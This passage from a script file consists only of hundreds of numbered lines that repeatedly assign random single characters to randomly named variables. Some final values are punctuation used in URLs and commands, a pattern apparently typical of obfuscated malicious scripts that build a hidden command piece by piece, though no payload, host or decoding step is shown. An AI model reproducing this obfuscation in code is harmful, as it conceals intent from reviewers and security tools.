318	mrzazazbx = "Y";
319	mrzazazbx = "O";
320	mrzazazbx = "r";
321	mrzazazbx = "D";
322	mrzazazbx = "x";
323	mrzazazbx = "x";
324	mrzazazbx = "i";
325	mrzazazbx = "E";
326	mrzazazbx = "n";
327	mrzazazbx = "P";
328	mrzazazbx = "f";
329	mrzazazbx = "C";
330	mrzazazbx = "F";
331	rlumflww = "O";
332	rlumflww = "t";
333	rlumflww = "U";
334	wasztpn = "G";
335	wasztpn = "M";
336	wasztpn = "j";
337	wasztpn = "C";
338	wasztpn = "l";
339	wasztpn = "f";
340	wasztpn = "O";
341	wasztpn = "A";
342	wasztpn = "T";
343	wasztpn = "p";
344	wasztpn = "Y";
345	wasztpn = "X";
346	wasztpn = "W";
347	wasztpn = "S";
348	wasztpn = "Z";
349	wasztpn = "f";
350	wasztpn = "r";
351	wasztpn = "V";
352	wasztpn = "Q";
353	wasztpn = "y";
354	wasztpn = "A";
355	wasztpn = "Q";
356	wasztpn = "n";
357	wasztpn = "V";
358	wasztpn = "a";
359	wasztpn = "i";
360	wasztpn = "H";
361	wasztpn = "P";
362	zyposv = "q";
363	zyposv = "X";
364	zyposv = "M";
365	zyposv = "y";
366	zyposv = "u";
367	zyposv = "V";
368	zyposv = "Z";
369	zyposv = "j";
370	zyposv = "X";
371	zyposv = "D";
372	zyposv = "x";
373	zyposv = "q";
374	zyposv = "k";
375	zyposv = "P";
376	zyposv = "x";
377	zyposv = "b";
378	zyposv = "w";
379	zyposv = "s";
380	zyposv = "V";
381	zyposv = "z";
382	zyposv = "y";
383	zyposv = "s";
384	pioyp = "F";
385	pioyp = "e";
386	pioyp = "r";
387	pioyp = "q";
388	pioyp = "v";
389	pioyp = "L";
390	pioyp = "z";
391	pioyp = "Z";
392	pioyp = "f";
393	pioyp = "h";
394	pioyp = "A";
395	pioyp = "a";
396	pioyp = "e";
397	pioyp = "V";
398	pioyp = "t";
399	pioyp = "V";
400	pioyp = "B";
401	pioyp = "i";
402	pioyp = "a";
403	pioyp = "x";
404	pioyp = "w";
405	pioyp = "j";
406	pioyp = "&";
407	zflkyf = "R";
408	zflkyf = "Z";
409	zflkyf = "3";
410	uyluxjqs = "Q";
411	uyluxjqs = "K";
412	uyluxjqs = "s";
413	uyluxjqs = "J";
414	uyluxjqs = "z";
415	uyluxjqs = "K";
416	uyluxjqs = "a";
417	uyluxjqs = "E";
418	uyluxjqs = "l";
419	uyluxjqs = "g";
420	uyluxjqs = "x";
421	uyluxjqs = "N";
422	uyluxjqs = "w";
423	uyluxjqs = "E";
424	uyluxjqs = "G";
425	uyluxjqs = "V";
426	uyluxjqs = "J";
427	uyluxjqs = "T";
428	uyluxjqs = "b";
429	uyluxjqs = "l";
430	uyluxjqs = "k";
431	uyluxjqs = "e";
432	uyluxjqs = "u";
433	uyluxjqs = "b";
434	uyluxjqs = "D";
435	uyluxjqs = "h";
436	uyluxjqs = "w";
437	uyluxjqs = "M";
438	uyluxjqs = "b";
439	uyluxjqs = "M";
440	uyluxjqs = "g";
441	uyluxjqs = "m";
442	bfkbec = "I";
443	bfkbec = "E";
444	bfkbec = "J";
445	bfkbec = "m";
446	bfkbec = "x";
447	bfkbec = "m";
448	bfkbec = "o";
449	bfkbec = "c";
450	bfkbec = "G";
451	bfkbec = "z";
452	bfkbec = "r";
453	bfkbec = "d";
454	bfkbec = "M";
455	bfkbec = "v";
456	bfkbec = "S";
457	bfkbec = "e";
458	bfkbec = "g";
459	bfkbec = "L";
460	bfkbec = "x";
461	bfkbec = "Y";
462	bfkbec = "q";
463	bfkbec = "u";
464	bfkbec = "f";
465	bfkbec = "u";
466	bfkbec = "Q";
467	bfkbec = "K";
468	bfkbec = "w";
469	bfkbec = "V";
470	bfkbec = "W";
471	bfkbec = "f";
472	bfkbec = "F";
473	bfkbec = "L";
474	bfkbec = "K";
475	bfkbec = "K";
476	bfkbec = "c";
477	bfkbec = "p";
478	bfkbec = "d";
479	bfkbec = "Q";
480	bfkbec = "a";
481	bfkbec = "I";
482	ubjhmd = "K";
483	ubjhmd = "d";
484	ubjhmd = "s";
485	ubjhmd = "P";
486	ubjhmd = "F";
487	ubjhmd = "X";
488	ubjhmd = "C";
489	ubjhmd = "N";
490	ubjhmd = "n";
491	ubjhmd = "T";
492	ubjhmd = "d";
493	ubjhmd = "t";
494	ubjhmd = "k";
495	ubjhmd = "K";
496	ubjhmd = "K";
497	ubjhmd = "c";
498	ubjhmd = "B";
499	ubjhmd = "B";
500	ubjhmd = "T";
501	ubjhmd = "d";
502	ubjhmd = "w";
503	ubjhmd = "H";
504	ubjhmd = "l";
505	ubjhmd = "Z";
506	ubjhmd = "j";
507	ubjhmd = "l";
508	ubjhmd = "T";
509	ubjhmd = "L";
510	ubjhmd = "d";
511	ubjhmd = "b";
512	ubjhmd = "Z";
513	ubjhmd = "t";
514	ubjhmd = "M";
515	ubjhmd = "s";
516	ubjhmd = "X";
517	ubjhmd = "B";
518	ubjhmd = "w";
519	ubjhmd = "a";
520	ubjhmd = "l";
521	ubjhmd = "c";
522	ubjhmd = "m";
523	ubjhmd = "u";
524	ubjhmd = "N";
525	ubjhmd = "W";
526	yfknhx = "f";
527	yfknhx = "A";
528	yfknhx = "F";
529	yfknhx = "w";
530	yfknhx = "S";
531	yfknhx = "I";
532	yfknhx = "C";
533	yfknhx = "I";
534	yfknhx = "U";
535	yfknhx = "Y";
536	yfknhx = "p";
537	yfknhx = "b";
538	yfknhx = "h";
539	yfknhx = "O";
540	yfknhx = "f";
541	yfknhx = "X";
542	yfknhx = "q";
543	yfknhx = "N";
544	yfknhx = "l";
545	yfknhx = "S";
546	yfknhx = "P";
547	yfknhx = "m";
548	yfknhx = "d";
549	yfknhx = "e";
550	yfknhx = "j";
551	yfknhx = "Q";
552	yfknhx = "Q";
553	yfknhx = "d";
554	yfknhx = "a";
555	yfknhx = "n";
556	yfknhx = "b";
557	yfknhx = "r";
558	yfknhx = "U";
559	yfknhx = "c";
560	yfknhx = "A";
561	yfknhx = "A";
562	yfknhx = "V";
563	yfknhx = "F";
564	yfknhx = "f";
565	yfknhx = "i";
566	yfknhx = "E";
567	yfknhx = "L";
568	lgved = "e";
569	lgved = "U";
570	lgved = "h";
571	lgved = "f";
572	lgved = "z";
573	lgved = "L";
574	lgved = "I";
575	lgved = "L";
576	lgved = "z";
577	lgved = "B";
578	lgved = "o";
579	lgved = "E";
580	lgved = "V";
581	lgved = "2";
582	hjvrz = "H";
583	hjvrz = "j";
584	hjvrz = "u";
585	hjvrz = "O";
586	hjvrz = "a";
587	hjvrz = "T";
588	hjvrz = "p";
589	hjvrz = "v";
590	hjvrz = "w";
591	hjvrz = "u";
592	hjvrz = "n";
593	hjvrz = "C";
594	hjvrz = "e";
595	hjvrz = "E";
596	hjvrz = "a";
597	hjvrz = "a";
598	hjvrz = "n";
599	hjvrz = "G";
600	hjvrz = "P";
601	hjvrz = "P";
602	hjvrz = "E";
603	hjvrz = "Q";
604	hjvrz = "s";
605	hjvrz = "l";
606	hjvrz = "o";
607	hjvrz = "a";
608	hjvrz = "p";
609	hjvrz = "m";
610	hjvrz = "T";
611	hjvrz = "m";
612	hjvrz = "a";
613	hjvrz = "H";
614	hjvrz = "U";
615	hjvrz = "q";
616	hjvrz = "D";
617	hjvrz = "A";
618	hjvrz = "T";
619	hjvrz = "h";
620	ehuysdmgm = "b";
621	ehuysdmgm = "c";
622	ehuysdmgm = "M";
623	ehuysdmgm = "f";
624	ehuysdmgm = "H";
625	ehuysdmgm = "p";
626	ehuysdmgm = "S";
627	ehuysdmgm = "T";
628	ehuysdmgm = "I";
629	ehuysdmgm = "j";
630	ehuysdmgm = "g";
631	ehuysdmgm = "w";
632	ehuysdmgm = "k";
633	ehuysdmgm = "x";
634	ehuysdmgm = "j";
635	ehuysdmgm = "J";
636	ehuysdmgm = "a";
637	ehuysdmgm = "M";
638	ehuysdmgm = "B";
639	ehuysdmgm = "r";
640	ehuysdmgm = "W";
641	ehuysdmgm = "8";
642	sszqhl = "y";
643	sszqhl = "N";
644	sszqhl = "c";
645	sszqhl = "W";
646	sszqhl = "d";
647	sszqhl = "S";
648	sszqhl = "r";
649	sszqhl = "i";
650	sszqhl = "P";
651	sszqhl = "E";
652	sszqhl = "s";
653	sszqhl = "0";
654	mywoyv = "l";
655	mywoyv = "Z";
656	mywoyv = "i";
657	mywoyv = "T";
658	mywoyv = "U";
659	mywoyv = "U";
660	mywoyv = "y";
661	mywoyv = "y";
662	mywoyv = "F";
663	mywoyv = "Y";
664	mywoyv = "S";
665	mywoyv = "h";
666	mywoyv = "l";
667	mywoyv = "D";
668	mywoyv = "T";
669	mywoyv = "n";
670	mywoyv = "x";
671	mywoyv = "W";
672	mywoyv = "a";
673	mywoyv = "j";
674	mywoyv = "R";
675	mywoyv = "y";
676	mywoyv = "N";
677	mywoyv = "z";
678	mywoyv = "z";
679	mywoyv = "n";
680	mywoyv = "y";
681	mywoyv = "K";
682	mywoyv = "X";
683	mywoyv = "F";
684	mywoyv = "H";
685	mywoyv = "p";
686	mywoyv = "e";
687	mywoyv = "J";
688	mywoyv = "D";
689	mywoyv = "x";
690	mywoyv = "j";
691	mywoyv = "B";
692	mywoyv = "o";
693	mywoyv = "H";
694	mywoyv = "f";
695	mywoyv = "a";
696	mywoyv = "M";
697	mywoyv = "b";
698	eqkzptsmx = "X";
699	eqkzptsmx = "H";
700	eqkzptsmx = "Q";
701	eqkzptsmx = "n";
702	eqkzptsmx = "H";
703	eqkzptsmx = "x";
704	eqkzptsmx = "R";
705	eqkzptsmx = "c";
706	eqkzptsmx = "A";
707	eqkzptsmx = "Y";
708	eqkzptsmx = "m";
709	eqkzptsmx = "K";
710	eqkzptsmx = "D";
711	eqkzptsmx = "Y";
712	eqkzptsmx = "r";
713	eqkzptsmx = "k";
714	eqkzptsmx = "h";
715	eqkzptsmx = "B";
716	eqkzptsmx = "C";
717	eqkzptsmx = "R";
718	eqkzptsmx = "r";
719	eqkzptsmx = "V";
720	eqkzptsmx = "B";
721	eqkzptsmx = "C";
722	eqkzptsmx = "Y";
723	eqkzptsmx = "t";
724	eqkzptsmx = "P";
725	eqkzptsmx = "v";
726	eqkzptsmx = "a";
727	eqkzptsmx = "O";
728	eqkzptsmx = "b";
729	eqkzptsmx = "7";
730	qdfhv = "Z";
731	qdfhv = "e";
732	qdfhv = "F";
733	qdfhv = "d";
734	qdfhv = "q";
735	qdfhv = "M";
736	qdfhv = "q";
737	qdfhv = "l";
738	qdfhv = "o";
739	qdfhv = "z";
740	qdfhv = "J";
741	qdfhv = "d";
742	qdfhv = "h";
743	qdfhv = "G";
744	qdfhv = "N";
745	qdfhv = "J";
746	qdfhv = "b";
747	qdfhv = "g";
748	qdfhv = "K";
749	qdfhv = "b";
750	qdfhv = "y";
751	qdfhv = "n";
752	qdfhv = "C";
753	qdfhv = "l";
754	qdfhv = "v";
755	qdfhv = "D";
756	qdfhv = "Q";
757	qdfhv = "s";
758	qdfhv = "D";
759	qdfhv = "x";
760	qdfhv = "j";
761	qdfhv = "G";
762	qdfhv = "S";
763	acgtgwtj = "R";
764	acgtgwtj = "r";
765	acgtgwtj = "H";
766	acgtgwtj = "d";
767	acgtgwtj = "p";
768	acgtgwtj = "q";
769	acgtgwtj = "h";
770	acgtgwtj = "o";
771	acgtgwtj = "U";
772	acgtgwtj = "R";
773	acgtgwtj = "d";
774	acgtgwtj = "C";
775	acgtgwtj = "w";
776	acgtgwtj = "g";
777	acgtgwtj = "C";
778	acgtgwtj = "V";
779	acgtgwtj = "O";
780	acgtgwtj = "D";
781	acgtgwtj = "b";
782	acgtgwtj = "O";
783	acgtgwtj = "s";
784	acgtgwtj = "b";
785	acgtgwtj = "S";
786	acgtgwtj = "P";
787	acgtgwtj = "Y";
788	acgtgwtj = "v";
789	acgtgwtj = "O";
790	acgtgwtj = "y";
791	acgtgwtj = "A";
792	acgtgwtj = "x";
793	acgtgwtj = "X";
794	acgtgwtj = "y";
795	acgtgwtj = "P";
796	acgtgwtj = "i";
797	acgtgwtj = "p";
798	acgtgwtj = "a";
799	acgtgwtj = "A";
800	acgtgwtj = "-";
801	gljus = ":";
802	srkbombh = "F";
803	srkbombh = "g";
804	srkbombh = "y";
805	srkbombh = "v";
806	srkbombh = "N";
807	srkbombh = "o";
808	srkbombh = "h";
809	srkbombh = "b";
810	srkbombh = "V";
811	srkbombh = "f";
812	srkbombh = "V";
813	srkbombh = "l";
814	srkbombh = "f";
815	srkbombh = "u";
816	srkbombh = "h";
817	srkbombh = "N";
818	srkbombh = "W";
819	srkbombh = "e";
820	srkbombh = "a";
821	srkbombh = "X";
822	srkbombh = "v";
823	srkbombh = "1";
824	qjtuxa = "u";
825	qjtuxa = "E";
826	qjtuxa = "R";
827	qjtuxa = "E";
828	qjtuxa = "R";
829	qjtuxa = "R";
830	qjtuxa = "a";
831	qjtuxa = "M";
832	qjtuxa = "u";
833	qjtuxa = "m";
834	qjtuxa = "G";
835	qjtuxa = "O";
836	qjtuxa = "n";
837	qjtuxa = "P";
838	qjtuxa = "N";
839	qjtuxa = "o";
840	cltcvc = "Y";
841	cltcvc = "W";
842	cltcvc = "o";
843	cltcvc = "V";
844	cltcvc = "f";
845	cltcvc = "I";
846	cltcvc = "R";
847	cltcvc = "P";
848	cltcvc = "T";
849	cltcvc = "Q";
850	cltcvc = "b";
851	cltcvc = "l";
852	cltcvc = "N";
853	cltcvc = "b";
854	cltcvc = "s";
855	cltcvc = "N";
856	cltcvc = "r";
857	cltcvc = "Z";
858	cltcvc = "D";
859	cltcvc = "d";
860	cltcvc = "R";
861	cltcvc = "r";
862	cltcvc = "v";
863	cltcvc = "k";
864	cltcvc = "C";
865	cltcvc = "s";
866	cltcvc = "X";
867	cltcvc = "O";
868	cltcvc = "I";
869	cltcvc = "z";
870	cltcvc = "r";
871	cltcvc = "j";
872	cltcvc = "F";
873	cltcvc = "X";
874	cltcvc = "P";
875	cltcvc = "V";
876	cltcvc = "s";
877	cltcvc = "Z";
878	cltcvc = "d";
879	cltcvc = "k";
880	cltcvc = "L";
881	cltcvc = "z";
882	cltcvc = "u";
883	cltcvc = "d";
884	fkbhoz = "s";
885	fkbhoz = "m";
886	fkbhoz = "S";
887	fkbhoz = "B";
888	fkbhoz = "D";
889	fkbhoz = "x";
890	fkbhoz = "v";
891	fkbhoz = "L";
892	fkbhoz = "t";
893	fkbhoz = "r";
894	fkbhoz = "t";
895	fkbhoz = "t";
896	fkbhoz = "x";
897	fkbhoz = "Q";
898	fkbhoz = "j";
899	fkbhoz = "n";
900	fkbhoz = "x";
901	fkbhoz = "L";
902	fkbhoz = "a";
903	fkbhoz = "G";
904	fkbhoz = "K";
905	fkbhoz = "h";
906	fkbhoz = "b";
907	fkbhoz = "a";
908	fkbhoz = "n";
909	fkbhoz = "V";
910	fkbhoz = "F";
911	fkbhoz = "L";
912	fkbhoz = "j";
913	fkbhoz = "I";
914	fkbhoz = "j";
915	fkbhoz = "E";
916	fkbhoz = "U";
917	fkbhoz = "E";
918	fkbhoz = "x";
919	naqpe = "o";
920	naqpe = "I";
921	naqpe = "M";
922	naqpe = "B";
923	naqpe = "V";
924	naqpe = "N";
925	naqpe = "p";
926	naqpe = "m";
927	naqpe = "W";
928	naqpe = "y";
929	naqpe = "e";
930	naqpe = "p";
931	naqpe = "j";
932	naqpe = "j";
933	naqpe = "y";
934	naqpe = "H";
935	naqpe = "g";
936	naqpe = "C";
937	naqpe = "O";
938	naqpe = "s";
939	naqpe = "q";
940	naqpe = "n";
941	naqpe = "x";
942	naqpe = "z";
943	naqpe = "t";
944	naqpe = "O";
945	naqpe = "R";
946	naqpe = "b";
947	naqpe = "f";
948	naqpe = "y";
949	naqpe = "k";
950	naqpe = "Q";
951	naqpe = "d";
952	naqpe = "x";
953	naqpe = "h";
954	naqpe = "D";
955	naqpe = "y";
956	naqpe = "C";
957	vmbop = "a";
958	vmbop = "D";
959	vmbop = "Z";
960	vmbop = "C";
961	vmbop = "S";
962	vmbop = "r";
963	vmbop = "z";
964	vmbop = "v";
965	vmbop = "F";
966	vmbop = "X";
967	vmbop = "T";
968	ppvby = "d";
969	ppvby = "Q";
970	ppvby = "x";
971	ppvby = "i";
972	ppvby = "u";
973	ppvby = "Q";
974	ppvby = "Z";
975	ppvby = "E";
976	ppvby = "U";
977	ppvby = "F";
978	ppvby = "i";
979	ppvby = "B";
980	ppvby = "T";
981	ppvby = "k";
982	ppvby = "O";
983	ppvby = "P";
984	ppvby = "a";
985	ppvby = "E";
986	ppvby = "K";
987	ppvby = "n";
988	ppvby = "Y";
989	ppvby = "A";
990	ppvby = "N";
991	ppvby = "w";
992	ppvby = "A";
993	ppvby = "m";
994	ppvby = "g";
995	ppvby = "H";
996	ppvby = "V";
997	ppvby = "x";
998	ppvby = "I";
999	ppvby = "e";
1000	ppvby = "c";
1001	ppvby = "B";
1002	ppvby = "W";
1003	ppvby = "a";
1004	ppvby = "q";
1005	ppvby = "r";
1006	ppvby = "i";
1007	ppvby = "L";
1008	ppvby = "e";
1009	ppvby = "W";
1010	ppvby = "g";
1011	ppvby = "o";
1012	ppvby = "c";
1013	ktoxwqnr = "f";
1014	ktoxwqnr = "I";
1015	ktoxwqnr = "o";
1016	ktoxwqnr = "N";
1017	ktoxwqnr = "W";
1018	ktoxwqnr = "U";
1019	ktoxwqnr = "r";
1020	ktoxwqnr = "G";
1021	ktoxwqnr = "J";
1022	ktoxwqnr = "F";
1023	ktoxwqnr = "V";
1024	ktoxwqnr = "h";
1025	ktoxwqnr = "M";
1026	ktoxwqnr = "g";
1027	ktoxwqnr = "E";
1028	ktoxwqnr = "p";
1029	ktoxwqnr = "H";
1030	ktoxwqnr = "X";
1031	ktoxwqnr = "L";
1032	ktoxwqnr = "T";
1033	ktoxwqnr = "G";
1034	ktoxwqnr = "j";
1035	ktoxwqnr = "V";
1036	ktoxwqnr = "Z";
1037	ktoxwqnr = "O";
1038	ktoxwqnr = "v";
1039	ktoxwqnr = "M";
1040	ktoxwqnr = "A";
1041	ktoxwqnr = "j";
1042	ktoxwqnr = "D";
1043	ktoxwqnr = "q";
1044	ktoxwqnr = "U";
1045	ktoxwqnr = "t";
1046	ktoxwqnr = "E";
1047	ktoxwqnr = "y";
1048	ktoxwqnr = "G";
1049	ktoxwqnr = "g";
1050	ktoxwqnr = "o";
1051	ktoxwqnr = "E";
1052	ktoxwqnr = "w";
1053	ktoxwqnr = "r";
1054	ktoxwqnr = "l";
1055	ktoxwqnr = "G";
1056	ktoxwqnr = "d";
1057	ktoxwqnr = "p";
1058	bufrogb = "p";
1059	bufrogb = "w";
1060	bufrogb = "g";
1061	bufrogb = "g";
1062	bufrogb = "s";
1063	bufrogb = "z";
1064	bufrogb = "i";
1065	bufrogb = "q";
1066	esextro = "n";
1067	esextro = "m";
1068	esextro = "k";
1069	esextro = "x";
1070	esextro = "u";
1071	esextro = "J";
1072	esextro = "n";
1073	esextro = "P";
1074	esextro = "e";
1075	esextro = "D";
1076	esextro = "x";
1077	esextro = "n";
1078	xsdpri = "d";
1079	xsdpri = "K";
1080	xsdpri = "o";
1081	xsdpri = "y";
1082	xsdpri = "N";
1083	xsdpri = "s";
1084	xsdpri = "B";
1085	xsdpri = "O";
1086	xsdpri = "S";
1087	xsdpri = "L";
1088	xsdpri = "D";
1089	xsdpri = "j";
1090	ellzywd = "G";
1091	ellzywd = "b";
1092	ellzywd = "p";
1093	ellzywd = "U";
1094	ellzywd = "a";
1095	ellzywd = "N";
1096	ellzywd = "r";
1097	ellzywd = "s";
1098	ellzywd = "M";
1099	ellzywd = "j";
1100	ellzywd = "J";
1101	ellzywd = "n";
1102	ellzywd = "W";
1103	ellzywd = "m";
1104	ellzywd = "Q";
1105	ellzywd = "F";
1106	ellzywd = "g";
1107	ellzywd = "\"";
1108	bcyayyjn = "R";
1109	bcyayyjn = "u";
1110	bcyayyjn = "x";
1111	bcyayyjn = "Q";
1112	bcyayyjn = "n";
1113	bcyayyjn = "J";
1114	bcyayyjn = "z";
1115	bcyayyjn = "g";
1116	bcyayyjn = "k";
1117	bcyayyjn = "5";
1118	lvhlom = "B";
1119	lvhlom = "J";
1120	lvhlom = "L";
1121	lvhlom = "R";
1122	lvhlom = "Z";
1123	lvhlom = "F";
1124	lvhlom = "l";
1125	lvhlom = "i";
1126	lvhlom = "h";
1127	lvhlom = "x";
1128	lvhlom = "R";
1129	lvhlom = "C";
1130	lvhlom = "N";
1131	lvhlom = "D";
1132	lvhlom = "b";
1133	lvhlom = "o";
1134	lvhlom = "s";
1135	lvhlom = "V";
1136	lvhlom = "v";
1137	lvhlom = "U";
1138	lvhlom = "n";
1139	lvhlom = "E";
1140	lvhlom = "U";
1141	lvhlom = "j";
1142	lvhlom = "m";
1143	lvhlom = "G";
1144	lvhlom = "p";
1145	lvhlom = "X";
1146	lvhlom = "Z";
1147	lvhlom = "a";
1148	lvhlom = "O";
1149	lvhlom = "H";
1150	lvhlom = "g";
1151	lvhlom = "N";
1152	lvhlom = "f";
1153	iihtq = "o";
1154	iihtq = "l";
1155	iihtq = "S";
1156	iihtq = "w";
1157	iihtq = "D";
1158	iihtq = "S";
1159	iihtq = "F";
1160	iihtq = "O";
1161	iihtq = "X";
1162	iihtq = "Z";
1163	iihtq = "j";
1164	iihtq = "e";
1165	iihtq = "L";
1166	iihtq = "d";
1167	iihtq = "W";
1168	iihtq = "P";
1169	iihtq = "A";
1170	iihtq = "p";
1171	iihtq = "o";
1172	iihtq = "P";
1173	iihtq = "O";
1174	iihtq = "6";
1175	brxzjfa = "D";
1176	brxzjfa = "d";
1177	brxzjfa = "X";
1178	brxzjfa = "w";
1179	brxzjfa = "T";
1180	brxzjfa = "s";
1181	brxzjfa = "v";
1182	brxzjfa = "H";
1183	brxzjfa = "U";
1184	brxzjfa = "M";
1185	brxzjfa = "K";
1186	brxzjfa = "r";
1187	zxhfbf = "p";
1188	zxhfbf = "B";
1189	zxhfbf = "e";
1190	zxhfbf = "D";
1191	zxhfbf = "K";
1192	zxhfbf = "x";
1193	zxhfbf = "i";
1194	zxhfbf = "a";
1195	zxhfbf = "f";
1196	zxhfbf = "Y";
1197	zxhfbf = "l";
1198	zxhfbf = "r";
1199	zxhfbf = "K";
1200	zxhfbf = "v";
1201	zxhfbf = "J";
1202	zxhfbf = "Q";
1203	zxhfbf = "p";
1204	zxhfbf = "Z";
1205	zxhfbf = "Q";
1206	czfmghei = "Z";
1207	czfmghei = "i";
1208	czfmghei = "P";
1209	czfmghei = "C";
1210	czfmghei = "D";
1211	czfmghei = "j";
1212	czfmghei = "m";
1213	czfmghei = "m";
1214	czfmghei = "I";
1215	czfmghei = "M";
1216	czfmghei = "P";
1217	czfmghei = "d";
1218	czfmghei = "c";
1219	czfmghei = "C";
1220	czfmghei = "X";
1221	czfmghei = "K";
1222	czfmghei = "b";
1223	czfmghei = "l";
1224	czfmghei = "l";
1225	czfmghei = "t";
1226	czfmghei = "h";
1227	czfmghei = "r";
1228	czfmghei = "a";
1229	czfmghei = "j";
1230	czfmghei = "y";
1231	czfmghei = "K";
1232	czfmghei = "d";
1233	czfmghei = "f";
1234	czfmghei = "n";
1235	czfmghei = "t";
1236	twhzynnte = "Z";
1237	twhzynnte = "g";
1238	twhzynnte = "Y";
1239	twhzynnte = "N";
1240	twhzynnte = "a";
1241	twhzynnte = "D";
1242	twhzynnte = "o";
1243	twhzynnte = "u";
1244	twhzynnte = "j";
1245	twhzynnte = "M";
1246	twhzynnte = "O";
1247	twhzynnte = "F";
1248	twhzynnte = "a";
1249	twhzynnte = "j";
1250	twhzynnte = "C";
1251	twhzynnte = "S";
1252	twhzynnte = "c";
1253	twhzynnte = "t";
1254	twhzynnte = "n";
1255	twhzynnte = "y";
1256	twhzynnte = "x";
1257	twhzynnte = "X";
1258	twhzynnte = "I";
1259	twhzynnte = "L";
1260	twhzynnte = "K";
1261	twhzynnte = "L";
1262	twhzynnte = "g";
1263	twhzynnte = "g";
1264	twhzynnte = "D";
1265	twhzynnte = "m";
1266	twhzynnte = "I";
1267	twhzynnte = "w";
1268	twhzynnte = "Y";
1269	twhzynnte = "L";
1270	twhzynnte = "P";
1271	twhzynnte = "i";
1272	dryxal = "d";
1273	dryxal = "Z";
1274	dryxal = "o";
1275	dryxal = "C";
1276	dryxal = "Q";
1277	dryxal = "O";
1278	dryxal = "T";
1279	dryxal = "Y";
1280	dryxal = "g";
1281	dryxal = "m";
1282	dryxal = "v";
1283	dryxal = "f";
1284	dryxal = "d";
1285	dryxal = "B";
1286	dryxal = "f";
1287	dryxal = "i";
1288	dryxal = "u";
1289	dryxal = "P";
1290	dryxal = "D";
1291	dryxal = "s";
1292	dryxal = "E";
1293	dryxal = "n";
1294	dryxal = "A";
1295	dryxal = "Y";
1296	dryxal = "Q";
1297	dryxal = "i";
1298	dryxal = "k";
1299	dryxal = "e";
1300	dryxal = "K";
1301	dryxal = "B";
1302	dryxal = "u";
1303	dryxal = "E";
1304	dryxal = "u";
1305	dryxal = "u";
1306	dryxal = "i";
1307	dryxal = "L";
1308	dryxal = "w";
1309	dryxal = "G";
1310	dryxal = "m";
1311	dryxal = "q";
1312	dryxal = "C";
1313	dryxal = "d";
1314	dryxal = "g";
1315	narlep = "e";
1316	narlep = "a";
1317	narlep = "r";
1318	narlep = "F";
1319	narlep = "A";
1320	narlep = "K";
1321	narlep = "l";
1322	narlep = "A";
1323	narlep = "u";
1324	tkyslf = "p";
1325	tkyslf = "v";
1326	tkyslf = "C";
1327	tkyslf = "y";
1328	tkyslf = "n";
1329	tkyslf = "g";
1330	tkyslf = "K";
1331	tkyslf = "A";
1332	tkyslf = "t";
1333	tkyslf = "s";
1334	tkyslf = "l";
1335	tkyslf = "M";
1336	tkyslf = "h";
1337	tkyslf = "n";
1338	tkyslf = "f";
1339	tkyslf = "q";
1340	tkyslf = "c";
1341	tkyslf = "K";
1342	tkyslf = "L";
1343	tkyslf = "w";
1344	tkyslf = "Z";
1345	tkyslf = "e";
1346	tkyslf = "K";
1347	tkyslf = "T";
1348	tkyslf = "z";
1349	tkyslf = "S";
1350	tkyslf = "H";
1351	tkyslf = "q";
1352	tkyslf = "X";
1353	tkyslf = "F";
1354	tkyslf = "l";
1355	tkyslf = "N";
1356	tkyslf = "q";
1357	tkyslf = "L";
1358	tkyslf = "u";
1359	tkyslf = "G";
1360	tkyslf = "W";
1361	tkyslf = "Y";
1362	rutfi = "r";
1363	rutfi = "L";
1364	rutfi = "W";
1365	rutfi = "F";
1366	rutfi = "O";
1367	rutfi = "A";
1368	rutfi = "l";
1369	rutfi = "g";
1370	rutfi = "L";
1371	rutfi = "L";
1372	rutfi = "F";
1373	rutfi = "S";
1374	rutfi = "J";
1375	rutfi = "z";
1376	rutfi = "a";
1377	rutfi = "Q";
1378	rutfi = "s";
1379	rutfi = "B";
1380	rutfi = "n";
1381	rutfi = "r";
1382	rutfi = "t";
1383	rutfi = "W";
1384	rutfi = "Q";
1385	rutfi = "n";
1386	rutfi = "M";
1387	rutfi = "A";
1388	rutfi = "x";
1389	rutfi = "g";
1390	rutfi = "X";
1391	rutfi = "u";
1392	rutfi = "b";
1393	rutfi = "E";
1394	rutfi = "c";
1395	rutfi = "@";
1396	mbjudgp = "u";
1397	mbjudgp = "o";
1398	mbjudgp = "y";
1399	mbjudgp = "w";
1400	mbjudgp = "A";
1401	mbjudgp = "Y";
1402	mbjudgp = "Z";
1403	mbjudgp = "G";
1404	mbjudgp = "g";
1405	mbjudgp = "t";
1406	mbjudgp = "b";
1407	mbjudgp = "i";
1408	mbjudgp = "N";
1409	mbjudgp = "q";
1410	mbjudgp = "w";
1411	mbjudgp = "S";
1412	mbjudgp = "K";
1413	mbjudgp = "B";
1414	mbjudgp = "L";
1415	mbjudgp = "k";
1416	mbjudgp = "I";
1417	mbjudgp = "Y";
1418	mbjudgp = "f";
1419	mbjudgp = "d";
1420	mbjudgp = "B";
1421	mbjudgp = "W";
1422	mbjudgp = "T";
1423	mbjudgp = "c";
1424	mbjudgp = "b";
1425	mbjudgp = "C";
1426	mbjudgp = "W";
1427	mbjudgp = "l";
1428	mbjudgp = "e";
1429	mbjudgp = "a";
1430	obzdfsaxx = "A";
1431	obzdfsaxx = "E";
1432	lunhpqvrs = "P";
1433	lunhpqvrs = "Z";
1434	lunhpqvrs = "B";
1435	lunhpqvrs = "P";
1436	lunhpqvrs = "z";
1437	lunhpqvrs = "F";
1438	lunhpqvrs = "b";
1439	lunhpqvrs = "s";
1440	lunhpqvrs = "S";
1441	lunhpqvrs = "Y";
1442	lunhpqvrs = "g";
1443	lunhpqvrs = "B";
1444	lunhpqvrs = "S";
1445	lunhpqvrs = "q";
1446	lunhpqvrs = "X";
1447	lunhpqvrs = "N";
1448	lunhpqvrs = "Z";
1449	lunhpqvrs = "H";
1450	lunhpqvrs = "L";
1451	lunhpqvrs = "F";
1452	lunhpqvrs = "V";
1453	lunhpqvrs = "U";
1454	lunhpqvrs = "V";
1455	lunhpqvrs = "x";
1456	lunhpqvrs = "x";
1457	lunhpqvrs = "d";
1458	lunhpqvrs = "N";
1459	lunhpqvrs = "C";
1460	lunhpqvrs = "k";
1461	lunhpqvrs = "g";
1462	lunhpqvrs = "E";
1463	lunhpqvrs = "E";
1464	lunhpqvrs = "c";
1465	lunhpqvrs = "z";
1466	lunhpqvrs = "g";
1467	lunhpqvrs = "O";
1468	lunhpqvrs = "l";
1469	skjxkdh = "e";
1470	skjxkdh = "O";
1471	skjxkdh = "r";
1472	skjxkdh = "T";
1473	skjxkdh = "p";
1474	skjxkdh = "N";
1475	skjxkdh = "/";
1476	znzep = "X";
1477	znzep = "F";
1478	znzep = "D";
1479	znzep = "c";
1480	znzep = "N";
1481	znzep = "u";
